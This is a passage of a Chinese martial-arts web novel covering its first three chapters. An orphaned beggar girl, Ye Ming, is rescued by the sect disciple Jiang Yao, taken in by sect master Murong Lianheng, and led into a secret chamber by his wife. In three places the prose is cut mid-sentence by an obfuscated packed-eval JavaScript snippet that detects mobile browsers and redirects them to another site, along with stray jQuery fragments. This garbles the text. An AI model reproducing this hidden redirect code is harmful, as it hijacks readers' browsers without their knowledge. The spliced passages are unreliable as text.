《正道女主养成手册》 1. 问剑问心1 这是第几次被人如此欺辱了?叶暝早已记不清了。 拳脚如狂风骤雨落在她孱弱的身躯上,痛感尖锐明晰,仿佛要将她的骨头一寸寸碾碎。叶暝忍不住想要哭喊尖叫,但那样只会让这些人兴致更甚,变本加厉。她只能将所有的痛苦咽回喉咙,死死咬紧牙关,不让一丝声音泄露。 直到她的意识逐渐涣散,身体的本能还是令她无法完全压抑住痛苦的低吟。 “别,别再打了……” “我呸!”一个面黄肌瘦的乞丐朝她啐了一口,恶狠狠地骂道,“早就告诉过你,交不起入伙费,就别想在这地界讨到一口吃的!你倒好,竟敢抢阿黑的吃食,你这贱命一条,连狗都不如,要是饿坏了我的好阿黑,你拿什么赔?!” 一旁,那只名叫阿黑的黑色的恶犬仗着有人为它撑腰,龇着尖牙,汪汪两声,仿佛在附和主人的话。恶犬狠厉的眼睛死死盯着地上那奄奄一息的瘦小乞丐,随时准备扑上来,将这个胆敢与它争食的人撕成碎片。 叶暝真的太饿了,方才她趁着那恶犬不注意,从它嘴底抢了些馊饭,狼吞虎咽地塞进嘴里,可她万万没想到,这狗竟是这些恶丐养的。 往日里这些恶丐便以欺辱她为乐,如今让他们抓住了把柄,更不会轻易放过她,只怕今日就要将她打死在这了。 叶暝艰难地抬起头,模糊的视线扫过周围。那些看热闹的人围成一圈,看向她的眼神各异,有怜悯,有冷漠,有鄙夷,也有嘲笑。 她知道,这次也会和以往的任何一次一样,没有人会站出来帮她。 叶暝绝望地闭上了眼睛。 人群外围,一个隽秀少年踮起脚伸长脖子张望着,他支棱着手中的长剑将人群挡开,挤上前来:“发生什么事了?让一让,让我看看……” 这是江尧头一遭来到金阳城执行任务,一路上对金阳城的风土人情新奇不已,四处游玩,远远瞧见前方围了一圈人,少年的好奇心顿时被勾起,有热闹岂有不凑之理? 然而,刚一靠近,江尧便敏锐地捕捉到,人群的嘈杂声中掺着一道属于孩子的呻吟。他定睛一看,只见一群衣衫褴褛的乞丐正围在街边,对一个约莫六七岁的瘦弱孩子拳脚相加。那孩子蜷缩在地上,浑身颤抖,声息渐弱,眼看着就要不行了。 江尧眉头紧蹙,心中顿时涌起一股怒火。他虽年纪尚轻,却立志当个锄强扶弱的大侠,断然见不得此等以多欺少、恃强凌弱之事。 “都给我住手!”江尧拨开挡在身前的人群疾步上前,将那孩子护在身后,怒斥道,“你们这么多人欺负一个孩子,算什么本事?!” 乞丐们闻言,纷纷转过头来,只见一个十三四岁的少年正怒气冲冲瞪着他们。江尧身穿问剑谷的弟子制服,手中拿着一把对他来说还略显宽大的剑,脸上稚气未脱,却已经有了些属于剑侠的气势。 为首的乞丐上下打量了他一番,见他不过是个半大孩子,顿时嗤笑一声,不屑道:“哪里来的小子,毛都没长齐,还真把自己当大侠了?这把剑你使得动吗,可别闪了腰!” 其余乞丐闻言,顿时哄笑,就连围观人群中也有人掩嘴偷笑起来。江尧平日在问剑谷中修习,鲜少见到这些泼皮无赖,被他们三言两语挑衅得面色涨红,他握紧了剑柄,强撑起十足的气势威慑道:“我是问剑谷弟子,识相的话就赶紧滚开,否则休怪我不客气!” 为首的乞丐仍旧嗤之以鼻:“问剑谷……?那是什么东西,我还是丐帮长老呢!” 众人闻言,又是一阵哄笑。 江尧怒火中烧,正欲拔剑,叶暝身后的一个乞丐突然伸手,一把扯住她的头发,硬生生将她从地上拽起。叶暝痛得闷哼一声,双手却死死护着颈前,仿佛那处藏着什么珍贵至极的东西。 那乞丐狞笑着,另一只手朝叶暝护着的地方探去:“方才就见你一直护着这里,莫非藏了什么宝贝?” 叶暝:“不……不可以!只有这个……” 叶暝遭到一番虐打早已虚弱不堪,声音细若游丝,护在颈前的双手却丝毫没有放松。可惜一个孩子哪敌得过成年男人的力气,咔嚓一声,叶暝脖子上悬挂的红绳被那乞丐乍然扯断,留下一道血痕。 乞丐将抢来的东西拿在手中,仔细打量了一番。那是个刻着一对比翼鸟的木牌,刀工粗陋,刻痕歪歪扭扭,旁边还刻着一行小字。 乞丐眯着眼,似乎是想凸显出自己的文化水平,故作认真地念道:“叶……这什么字不认识,云……这个也不认识,哎哟,不值钱的破玩意儿,丑了吧唧的,还当宝贝护着,送给爷都不要!”说罢,他随手将木牌一扔,正好飞向江尧的方向。 江尧只见一个木块飞来打在自己鞋边,待他看清后,心念一动,蹲下身将那木牌拾起,放在手中仔细端详起来。 他回想起离谷前师父慕容连衡嘱咐他的话:“那孩子身上唯一的信物,是一块刻着比翼鸟的木牌,呃……雕工非常奇特,或许看起来更像一对山鸡,木牌背面刻有叶执和云韫这两个名字。若是见到,一定要保护好那个带着木牌的孩子,并即刻传信通知我。” 叶执,云韫,还有两只山鸡——样样俱全,这不正是师父让他找的信物! 江尧大喜过望,猛然扭头朝地上那孩子看去,却见那原本早已被打得奄奄一息的孩子不知为何竟突然暴起,朝着刚才那个抢夺木牌的乞丐的脖颈处狠狠咬了下去,如同一只被激怒的狼崽。 乞丐惨叫连连:“啊!疼死了,快给我把这臭小子弄开啊!” 其他乞丐一拥而上,七手八脚地将那叶暝拽了下来,叶暝死咬着不松口,竟生生从那乞丐脖子上带下一块皮肉,顿时血流如注。 叶暝跌在地上,脸上嘴上糊满了乞丐的血,却擦也不擦,又一番挣扎扑到了江尧跟前,哆嗦着伸出手紧紧扯住江尧的衣摆,口中含糊不清地道:“你,把它还给我……” 那乞丐被反扑一口,面子上挂不住,又着实疼得厉害,恼羞成怒道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051816|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“好啊,竟敢咬你爷爷我,本来还想留你一命慢慢玩,今天是你自己找死!来啊,兄弟们,给我打死这个贱种!” “好!”那些乞丐一拥而上,却见一道猛烈的罡风骤然袭来,将冲在最前头的乞丐掀飞数丈,重摔在地,当场昏死过去。 余下的乞丐大惊失色,齐齐转头看向罡风的来处,只见江尧正缓缓收掌,脸上还带着几分惊喜,他正自言自语道:“哇,原来我这么厉害啊!” 这一掌,不仅震慑了众乞丐,连围观的人群也噤若寒蝉,无人再敢出声。江尧见状,心中有些小得意,仿佛自己已然成了书中那行侠仗义、惩奸除恶的大侠。 江尧清了清嗓子,压低声音,学着话本里的大侠模样故作深沉道:“你们,都给我滚!要是再敢作恶,我问剑谷定不轻饶!听清楚了?” 他故意拖长了尾音,目光冷冷扫过一众恶丐,手中长剑微微出鞘,寒光凛冽。 众乞丐面面相觑,他们本就是欺软怕硬,此刻再不敢多言,慌忙扶起昏死过去的同伙,灰溜溜地逃走了,再不复先前的嚣张气焰。 见那群乞丐狼狈散去,江尧彻底放下心来,转身看向伏在他脚边的叶暝,宽慰道:“你安全了。有我在,他们不会再来伤害你。” 叶暝遍体鳞伤,脸上身上无一处完好,早已经无法起身。即便如此,她仍强撑着最后一口气,死命扒拉着江尧:“把木牌……还给我。” 江尧恍然,这才意识到那比翼鸟木牌还在自己手里。他不由感慨,这孩子明明已经落到了这样的境地,却仍拼死顽抗,足够勇敢,足够执拗,也足够傻。 江尧蹲下身来,总算有机会仔细打量这个孩子。叶暝的脸被打得鼻青脸肿辨不清相貌,浑身脏兮兮的,头上留着小男孩的短寸头发,穿着男孩的破烂旧衣。江尧不由得纳闷:“师父不是说是个女孩么,这可没半点像女孩啊……” 叶暝依旧不依不饶:“还给我。” 江尧被叶暝的眼神盯得有些发毛,视线落在她满嘴的血渍上,他毫不怀疑,如果他拒绝归还这块比翼鸟木牌,这孩子一定也会立马扑上来咬自己一口。 江尧无奈苦笑,摊开手将那木牌递还给了她:“喏,还给你。我没想要你的东西,就看一眼。” 叶暝颤抖着伸出手,指尖一点点靠近那块木牌,用尽了全身的力气,才终于将它重新握在手中。她小心翼翼地将木牌捧起,仔细擦拭掉上面的尘土,紧紧护在胸前,仿佛那是她生命中最为珍贵的宝物。 江尧依稀听见她轻声唤道:“爹,娘……” 江尧看着这一幕,心中没来由地一酸。他原本只是路见不平,顺手为之,却没想到这平平无奇甚至有些丑陋的木牌,对她竟有如此重要的意义。 总算完成了师父的嘱托,江尧嘴角微扬,露出一抹轻松惬意的笑容:“虽然过程有些曲折,不过也算是踏破铁鞋无觅处,得来全不费工夫……” “可算让我找到你了,叶暝。” 2. 问剑问心2 金阳城内,一架马车从城中街道疾驰而过,一道沉稳而富有磁性的声音自马车内响起:“老陈,还有多久?” 车夫老陈回头应道:“宗主,快了,再有一炷香的功夫便能到广晟楼了!” 车内,慕容连衡端坐其中,低头看向自己手中握着的一封信件,落寞怅然。这封信是他一年前收到的,他时常摩挲翻看,信纸已然起皱,微微泛黄。 慕容连衡再一次展开了这封信,信纸上挚友的笔迹他再熟悉不过,信中的内容他也早已倒背如流: “连衡吾兄,见字如晤。 吾今遭逢劫难,遇一众神秘歹人追杀,不死不休。云韫数日前一去不归,恐凶多吉少,吾或许将紧随云韫而去,亦时日无多。 吾已看淡生死,唯有女儿叶暝放心不下,恳请大哥念在多年情谊,庇护照拂于她。世道纷乱,若暝儿流离失散,大哥可凭昔日那块比翼鸟木牌作为相认的信物。 天下无不散之筵席,你我兄弟今生就此阔别,唯愿大哥珍重,叶执绝笔。” 这是叶执临终前的绝笔信,也是一封托孤信。 自从收到信后,慕容连衡便派人四处探查叶执和云韫的下落,却如石沉大海,杳无音信。莫要说找到他们本人了,竟连半副尸骨也寻不回。 慕容连衡心知,叶执夫妇恐怕已遭不测,为了完成故人遗愿,他传令门中弟子全力搜寻带有比翼鸟木牌的孩子,可那孩子竟也如同人间蒸发一般,遍寻不得。 或许是被好心人救下了,亦或是遭了歹人的毒手……希望越变越小,慕容连衡几乎快要不抱期许了。 直到三日前,在外执行任务的江尧飞鸽传书,称他在金阳城内寻到了那名带着比翼鸟木牌的孩子。江尧将那孩子安顿在广晟楼,只待他前来确认身份。 马车终于停下,老陈的声音从外头传来:“宗主,广晟楼到了。” 慕容连衡心焦不已,掀开车帘疾步下车,大步流星朝广晟楼中去。刚一进门,在楼中等候多时的江尧迎了上来,他满面愁容,叫苦不迭:“师父,您可算来了,她可真是一点不安分,您要是再晚点来,人估计就要溜没影了!” 慕容连衡脚步一顿,疑惑道:“怎么回事,你没告诉她我们是问剑谷的人?” “我说了,可她警惕着呢,谁都不相信。”江尧只觉得一个头两个大,对慕容连衡大吐苦水,“她前天想翻窗逃走,昨晚想趁我睡着给我一闷棍,要不是我一直寸步不离地守着她,她早把屋顶掀飞逃之夭夭了!” 被折磨了三天的江尧在心里暗自腹诽,这个丫头真的是那两位大侠的孩子吗?跟她那好脾气的爹娘简直没一处相似! 慕容连衡哑然失笑:“先让我看看吧。” 在江尧的带领下,慕容连衡一路来到叶暝所住的厢房。只见一个六七岁的孩子正坐在床边,身形枯瘦,显然是长期营养不良所致。她虽已梳洗干净,穿戴整齐,但脸上青紫斑驳的伤痕依旧触目惊心,几乎掩盖了她原本的容貌。 叶暝见江尧带着一个陌生男人进屋,瞬间警惕防备起来,双眼直勾勾地望着慕容连衡,眼中满是提防和不信任。 叶暝悄悄打量着这个陌生男人,他年近不惑,相貌英武周正,蓄着短须,衣着低调内敛,没有过多繁复华丽的衣饰,周身却俨然散发出威严庄重之感,平和沉稳却又深不可测,像一把敛于古朴剑鞘中的神锋宝剑。 江尧站在慕容连衡身旁,低声解释道:“她一直扮作男孩模样,混迹于乞丐堆中,怕是没吃过一顿饱饭,还时常挨打,浑身是伤,实在可怜。” 前天夜里,江尧让广晟楼负责洒扫的婆子来给叶暝洗澡,顺便确认她是否真是个女孩。却见婆子为她一番梳洗过后,连连哀叹着从屋内走了出来。 守在屋外的江尧问道:“大娘,可看清楚了?” 婆子答道:“看清楚了,确实是个女娃。” 旋即,婆子欲言又止,神情复杂地斜睨了江尧一眼,看得江尧丈二和尚摸不着头脑:“大娘,你这样子看着我做甚?” 婆子语重心长地劝解道:“唉……年轻人,听我一句劝吧。你现在年纪还小,还有机会改过自新,莫要再做那伤天害理的事情了!” 江尧:“……啥?” “那小姑娘是你妹妹吧,身上这么多伤,都没个人样,这么虐待孩子,可是要遭天谴的!我言尽于此,你好自为之吧!” 说罢,婆子瞪他一眼,又连连哀叹着离开了,还嘟囔着什么世风日下人心不古,留下江尧一人在风中凌乱。 江尧:“这……我不是啊,大娘你听我解释!” 慕容连衡听到江尧的话,心中一阵酸楚。他缓步靠近叶暝,目光落在她紧紧攥在手中的比翼鸟木牌上,又抬头看向那孩子的脸,孩子的脸虽然满是伤痕,但一双眼睛却格外清澈明亮。 这双眼与好友叶执的眼睛在慕容连衡的脑海中渐渐重合,他十分笃定,这就是叶执夫妇的女儿,是他这一年以来费尽心思所要寻找的孩子。 慕容连衡看着眼前饱经磨难的女孩,甚为痛心。她的年纪与自己的女儿相仿,更是同样的命途多舛,早早便尝尽了人间疾苦…… 慕容连衡搬来张凳子坐在床边,尽力将语气放得温柔和缓:“孩子,能否让我看看你的那块木牌?” 叶暝闻言,蜷缩起身子向后躲去,将拿着木牌的手掩在身后,她瞪视着慕容连衡,全然是一副防备抗拒的姿态。 慕容连衡见状,也不强求,转而道:“那好,你听我说吧,你爹娘的名字是叶执和云韫,他们的佩剑分别唤作沉舟剑和愁水剑。而你的名字叫做叶暝……那木牌上有一对比翼鸟,是你爹为你娘亲手刻的,我说的对吗?” 叶暝闻言,蓦地瞪大了眼睛,却也没有立刻打消疑心,道:“什么比翼鸟,我不知道你在说什么。” 慕容连衡轻笑起来,打趣道:“你不知道么?也对……与其说是比翼鸟,不如说更像是一对山鸡。” 言及此处,叶暝脸上的神情终于有了一丝松动,她望着慕容连衡,眨了眨眼:“……你也觉得那是一对山鸡?” 这下轮到慕容连衡摸不着头脑了:“也?还有谁说过那是山鸡吗?” 叶暝终究还是个心无城府的孩子,意识到自己失言露了马脚,有些懊恼地闭上了嘴。 慕容连衡看在眼里,也不戳破,接着道:“当年你爹刻那木牌的时候,我就在一旁看着,他的刀工实在惨不忍睹,我还以为那是一对山鸡,他却跟我说那是比翼鸟,害我好一阵尴尬。” 再次回忆起往事,故人音容犹在,慕容连衡面上带笑,眼底却满是落寞的怀念。 “我就说那是山鸡,可爹偏要说我眼神不好。”叶暝不打算再嘴硬了,眼前这个男人显然早已知晓她的一切,她开门见山地问道,“你是谁,为什么会知道这些?” 见她终于松口,慕容连衡会心一笑,耐心解释道:“我当然知道。我是问剑谷宗主慕容连衡,是你爹年轻时闯荡江湖最好的朋友,我们还是结拜兄弟呢。” 叶暝道:“问剑谷……你真的是那个问剑谷的慕容伯伯?” 慕容连衡道:“如假包换。是你爹传信让我来寻你,将你托付给了我。暝儿,以后你就随我回问剑谷生活,不会再过从前那样四处流浪的日子了。 “托付?”叶暝喃喃重复着这两个字,表情有些茫然,“爹娘他们……都不会再回来找我了吗?” 慕容连衡看着孩子懵懂的模样,想起挚友的结局,曾经那样鲜活热烈的人,如今只能在话语中才得以悼念。慕容连衡一时沉痛默然,不知该如何开口。 他正斟酌着要如何告诉叶暝她爹娘已遭不测的残酷事实,却听叶暝问道:“慕容伯伯,爹爹和娘亲都死了,对吗?” 慕容连衡一怔,难以相信一个只有七岁的孩子竟能如此平静地问出这句话。他默然良久,终究还是点了点头:“是。” 叶暝得到了肯定的答案,知道爹娘都再也回不来了,最后一丝希望也被无情击垮。她垂下头,用满是伤痕的小手捂起脸,指缝间流出悲伤而压抑的呜咽,没有大哭大闹,却令闻者痛彻心扉。 慕容连衡亦是悲痛,眼泛泪光,他伸出手轻轻捋着叶暝的背,却不知该说些什么来安慰。 叶暝回想起了爹临走前的那一幕。 叶执将叶暝藏在了一个废弃房屋的橱柜里,叶暝抓着叶执的衣袖,道:“爹,你要去哪?!” “暝儿,追着我们的坏人太多了,我去将他们引开,他们的目标只是我,我一走,暝儿你就安全了。”叶执叮嘱道,“你在这里藏好了,若爹没有回来,明日一早你便马上离开。去风雷镖局找你舅舅,或者去问剑谷找慕容伯伯,他们会保护你的。” 叶暝惶然无措地哭喊道:“爹,你不要走,我害怕……我一个人不行的!娘亲走了就没再回来,现在连你也要走了!” “你可以的。你很聪明,也很勇敢,就算离开了我们,也可以走得很远。”叶执笑着,眼中含泪,眼神却坚定异常,“你娘她还在等我呢,我必须要去找她。” 叶暝死死拽着叶执的衣袖不肯撒手:“爹不是很厉害的剑侠吗,为什么不把坏人都打跑?” “暝儿,再厉害的大侠也总有无能为力之事,等你长大之后就能明白了。”叶执眼中满是慈爱,最后伸出手摸了摸叶暝的脑袋,“接下来的路或许就要你一个人走了,可能会走得很艰难,但你要记着,留得青山在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051817|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怕没柴烧,不论发生了什么,你都一定要活下去。” 说着,叶执伸出手,比了个拉钩的手势:“暝儿,能答应爹么?” 叶暝摇头:“我不想……” 她有种强烈的直觉,只要拉了勾,爹娘就真的永远回不来了。 叶执道;“拜托了,这是爹和娘最大的愿望,暝儿不愿意帮我们实现吗?” 叶暝踟蹰半晌,最后还是伸出了手,尾指勾住了叶执宽厚温和的手,将拇指印了上去。 叶执欣慰道:“好,拉了勾就一定要做到,成为大侠的第一步,便是要重诺守信。” 叶暝哭得上气不接下气:“我会的……藏起来不让人发现,去找舅舅或是去问剑谷,还有活下去,我都会做到的……那爹能不能答应我,一定要回来找我?” 这一次,叶执只是笑了笑,没有给她任何承诺。 叶执抬手合上了橱柜门,叶暝眼前的最后一束光随之熄灭,他毅然决然地离去,这一去便再也没回来。 叶暝独自在狭小黑暗的橱柜内瑟缩着躲了一天,强忍下恐惧和无助,紧捂着嘴不让自己哭出声来。 第二日,她从橱柜内爬了出来,变成了一个无处可去的流浪小孩。 叶暝按照约定,一路寻到了风雷镖局,却见镖局内火光冲天,兵戈相接之声混杂着喊杀声,血流成河,形同炼狱。 她又看到了那群追杀他们的坏人,个个身着黑衣,手中皆拿着一对形状奇特的匕首,刃窄而薄,形似天边新月。叶暝缩在街边的墙角不敢作声,一个黑衣人似有所觉,目光阴戾地向叶暝所在的方向陡然扫来。 叶暝知道,风雷镖局是去不得了。 于是,她又朝着问剑谷的方向走去。途中先是遇到了拐卖女童的人牙子,她废了好大一番功夫才从黑市窝点逃了出来。 在黑市里,她亲眼见到了像她这样无家可归的女孩会有怎样凄惨的下场。逃出去后,她便剪短了头发,偷了件村民晾着的男孩衣裳换上,彻底将自己打扮成了一个乞丐堆里的小男孩。 再后来,她实在太饿了,讨饭讨到了一群流民的队伍中,路过闹饥荒的地界。那里饿殍遍野,吞食活人,像她这样的小乞丐,一天不知能饿死几多。 为了活下去,她只能跟着流民一路向南去,除了死人肉之外什么都吃,总算还剩口气,捱了过去。 可她发现,问剑谷在相反的北边,离她有千里之遥,那是小小的她无法丈量的距离。 但她答应了爹,就一定要做到。于是她只能朝着问剑谷的方向走啊走,一直走到了今天。 哭声渐渐平息,叶暝松开手,脸上泪痕斑驳,她用袖子将脸上的泪水一把抹了干净,道:“慕容伯伯,我饿了,想吃些东西。” 慕容连衡赶忙应下:“好,好……阿尧,让他们把店里最好的饭菜都送过来。” 小半个时辰后,广晟楼的所有招牌菜式和点心将屋中的桌子摆得满满当当。叶暝在桌边狼吞虎咽着,眼泪无声地顺着脸颊淌下,混着饭菜囫囵送进了嘴里。 上一次她吃饱饭的时候,还有一个完整的家。 江尧生怕她噎着,赶紧给她续了杯茶水,道:“慢点吃,都是你的,这里没人跟你抢。” “阿尧。”慕容连衡出声制止了江尧,转而问道,“暝儿,这一年你究竟去了哪,我们一直都寻不到你。” 叶暝将嘴里的饭菜咽了下去,言简意赅地道:“我是要来问剑谷的,不过半路上先是被人牙子拐走了,后来又跟着逃难的流民一路去了南边,就越走越远了。” 叶暝说着,神情有些茫然:“慕容伯伯,爹离开前让我去问剑谷找您,可是问剑谷真的好远,我怎么走都走不到。” 尽管叶暝只是很简短地将自己这一年的颠沛流离道出,这句话背后吃了多少苦,受了多少罪,慕容连衡也能猜出个十之八九。一个如此年幼的孩子,为了寻问剑谷,走了千里远,这是怎样惊人的意志和勇气。 慕容连衡道:“好孩子,其实你已经走到了,问剑谷便在这金阳城外不远的地方。” “这样啊……那就好。”叶暝闻言,难得的露出了一个属于孩子的笑容。 她信守了对爹的承诺,去到了问剑谷,她没有失约。 叶暝抬起头,直视着慕容连衡,目光虽稚嫩,却异常坚定:“慕容伯伯,你带我走吧,只要能活下去,不再过受人欺负的日子,我愿意做任何事。” 慕容连衡心中一震,只觉得这孩子懂事得令人心疼,江尧也收起了平日里的嬉笑模样,认真注视着面前的女孩。 慕容连衡万分郑重地应允道:“暝儿,从今往后,问剑谷便是你的家,必不再让你受颠沛流离之苦。” 3. 问剑问心3 一行三人辗转回到问剑谷,慕容连衡事务缠身又匆匆离去,临行前,他嘱咐江尧好生照顾叶暝。 慕容连衡将叶暝安置在了问剑谷中一处幽僻院子,人迹罕至,很是清净。江尧也依照和师父的约定,日日都来探望她,给她带些吃食玩具,陪她说话解闷。 就这样,叶暝在问剑谷中过上了她在流浪时不敢奢望的日子,每日都能从柔软宽敞的床榻上醒来,推开窗户就能看到朝晖映照下的山景,峥嵘崔嵬。窗前的琉璃瓶中一株木兰静静盛放,她能清晰地嗅到朝露携着的淡淡幽香。一切的一切,都告诉着叶暝她不是在做梦。 院中陈设一看便知是主人用心布置,处处都是怡然温馨的小巧思,非短时间内可以完成,显然从很久之前就已经是这番模样。可叶暝左右瞧着,这院子全然没有人曾经居住过的痕迹。 叶暝不禁思索:“这个院子……原本应该是谁在住呢?” 这日,江尧吭哧喘着粗气赶来,一副火急火燎的模样。经过几日的相处,叶暝对江尧熟络起来,不再像起初那样疏离,她纳闷问道:“江尧,你怎么了,是发生什么事了吗?” 江尧道:“我师娘她今日回问剑谷了,看起来不太高兴的样子,我来是要提醒你……你千万小心啊。” 叶暝脑筋转了个弯,反应过来江尧口中的师娘是慕容连衡之妻蓝令容,她不解道:“蓝伯母她为什么不高兴?我为什么又要千万小心?” 江尧看她一眼,欲言又止:“唉,其中的事情那可太复杂了,我一时也说不明白……总之,我师娘她很快就会过来寻你,我先来给你通风报信,你千万顺着她,别触她霉头,自求多福吧!” 说罢,江尧将他顺手带来的糕点放在桌上,逃窜似的离开了,好像生怕再慢一步就要和蓝令容当面撞上。叶暝一头雾水,不明所以:“有这么严重吗……?” 江尧前脚刚走,果不其然,蓝令容就到小院找上了叶暝。 叶暝抬眼瞧着,那是一位冷艳孤傲的女子,生得昳丽绝艳,柳叶眉,桃花眼,是难得一见的美人。可这本应风情万种的面容,此刻正横眉冷对,神情冷肃,将这种美衬得凌厉疏离,极具攻击性,让人望而生怯,难以生出亲近之感。叶暝忽然就理解了江尧方才的溜之大吉。 蓝令容踏进院门,并未立刻开口,她环视着这院子,眼神一黯,不知为何有些怅然若失。 有了江尧先前的提醒,叶暝自然知晓来者的身份,恭敬行礼道:“蓝伯母好。” “你倒是机灵,我话还没说,就猜到我是谁了。”蓝令容眉尾微挑,瞥了叶暝一眼,语气算不上不友善,“他竟然让你住在这里,难道还真想把你当女儿不成?” 叶暝闻言,心中一动。她住在此处是慕容连衡授意,而蓝令容却说慕容连衡让她住在这里是将她当做女儿看待,难道……这院子里原本住的,是慕容连衡和蓝令容的亲生女儿? 叶暝回忆起来,她曾听爹娘说过,慕容连衡夫妇也有一个女儿,年纪比她小上几个月。叶暝略有迟疑,开口问道:“伯母,这里……是妹妹的居所吗?” 蓝令容微讶,倒也不绕弯子,颔首承认道:“是。” 叶暝道:“妹妹她在哪里?” 蓝令容似乎听到了什么有趣的话,蓦然笑了,问道:“你想见她?” 叶暝讷然点头:“当然想的。” 蓝令容垂眸注视着叶暝,默然良久。渐渐地,她的嘴角牵起一个冷酷诡谲的弧度,朝叶暝抛下一句:“好啊,你跟我来……我带你去见她。” 叶暝没来由地打了个寒颤,不敢多问,只得谨小慎微地依言跟在蓝令容身后。 二人一路无言,径直来到问剑谷中的祠堂。叶暝跟着蓝令容步入问剑谷祠堂内,堂中供奉着问剑谷历代掌门的牌位,祠堂两边的剑架陈列着问剑谷历代掌门的佩剑,烛火掩映,皆是宗门传承的庄重肃穆之感。 蓝令容背对着叶暝,站在那些牌位前久久未动,不知在想何事。 叶暝忍不住轻声唤道:“蓝伯母……?” 蓝令容背影微微一颤,如梦初醒。她并未回头看向叶暝,而是伸手转动起供桌台面角落处一个不起眼的烛台。随着她手上的动作,一阵机括运转之声在祠堂内回荡。 旋即,祠堂角落的暗处,地面暗门缓缓开启,一条不知通向何处的深邃密道乍然现于叶暝眼前。 “跟紧了。”蓝令容微微侧首,对身后的叶暝说道,她随手拿起供台上一个莲形烛台,率先迈步踏进了密道之中。 叶暝回头看向祠堂大门,心中俨然升起一种不太好的预感。 如果有可能,叶暝真想立刻转身离开,但又记着江尧叮嘱过她要千万顺着蓝令容,只能咬了咬牙,提步跟了上去。 叶暝踏进密道的刹那,暗门轰然合拢,将外界的光线戛然切断,彻底陷入了一片伸手不见五指的幽暗之中。 蓝令容手中烛台是唯一的光源,火光明明灭灭,在密道石墙上映出一前一后两道人影。密道并不宽敞,仅能容纳一个成年人通行,两侧石壁潮湿冰冷,空气中弥漫着一股阴湿的霉味。 走着走着,叶暝便发觉了令她不解的一幕。她们每向前走出一段距离,就会遇到一处岔路口,蓝令容总会在岔路前停下脚步,低头端详她手中的一只奇特罗盘。叶暝在后头张望着,见罗盘上的指针晃晃悠悠,等指针稳定后,蓝令容才会朝着指针的方向继续前行。 叶暝心中好奇,忍不住问道:“蓝伯母,这罗盘是何物?” 蓝令容脚步不停,答道:“既然带你来了这里,我也不瞒你了。此处是问剑谷禁地,由我亲自在此布下迷阵,使得此间道路千变万化,没有我手中罗盘的指引,任凭谁也无法找到正确的路。” 叶暝恍然大悟,暗叹这阵法真是玄妙,又追问道:“若是没有这罗盘,稍有不慎,岂不是会永远困在这迷阵里?” 蓝令容语带讥诮:“若只是被困住,倒还算幸运。就怕有那倒霉的不慎闯入了机关密布或是毒虫肆虐的岔路之中,只怕连全尸也难留了。” 叶暝听完,原本的好奇心瞬间被惊悚取代,她下意识地加快了脚步,紧紧跟在蓝令容身后,生怕一步踏错,自己就要小命不保。 蓝令容见状,嗤笑一声:“你还挺惜命。” 行经了十余个岔路口后,二人眼前豁然出现一堵厚重石门。蓝令容将手中的莲形烛台放置在石门旁的一处凹槽内,烛台的莲花形底座与暗格凹槽完美契合,石门轰然洞开。 叶暝有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051818|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些错愕,蓝令容手中那个看似随手带上的普通烛台,竟是开启这石门的钥匙! 这一路走来,从祠堂内的暗道机关,到密道中的奇门阵法,最后再到这石门的精巧玄机,这一重接一重的关卡,都是为了守护这门后的秘密。 究竟是怎样的秘密值得这般严防死守? 长期流浪的经历让叶暝对危险的气息格外敏感,此刻,她的求生本能正警铃大作,直觉告诉她,这道门后的秘密极可能会威胁到她的性命。 叶暝有一瞬间想要立刻夺路而逃,可惜她做不到。先不论她根本无法独自走出外头那复杂无比的阵法,单单是眼前的蓝令容,就不会容许窥见秘密的她活着逃离这里。 蓝令容的声音幽幽响起:“已经走到这里,想必你也该明白了。你只有两个选择,要么答应我接下来的要求,要么……永远迷失在这阵法之中,生死由命。” 叶暝后背早已冷汗涔涔,却仍强装镇定道:“我爹娘和慕容伯伯是至交,慕容伯伯最是重情义,若他知道我被困于此处,伯母您该如何向他交代?” 蓝令容闻言,颇感意外,语气带了一丝赞赏:“不错,生死关头仍能不露惧色,并且短短时日就已摸清了你慕容伯伯的性子。你说的没错,他这人最看重名声,断然不愿背上手刃好友遗孤的污名……”她话锋一转,语气陡然凛冽,“但若事关他亲生女儿的性命,那可就说不准了。” “伯母,此话……何意?”叶暝心中一紧。 蓝令容不由分说,伸手拉住叶暝,近乎拖拽地将叶暝带进了石门后的密室。踏入密室的一瞬,叶暝只觉一股刺骨的寒意扑面而来,周遭的温度骤然降低,森森寒气几乎要洞穿她的皮肉,渗进骨血之中。 叶暝环视了一圈密室,竟然发觉,这密室内的陈设布置竟然和自己居住的房间别无二致。而密室中央,一张玉质小床上,静静躺着一个女孩。 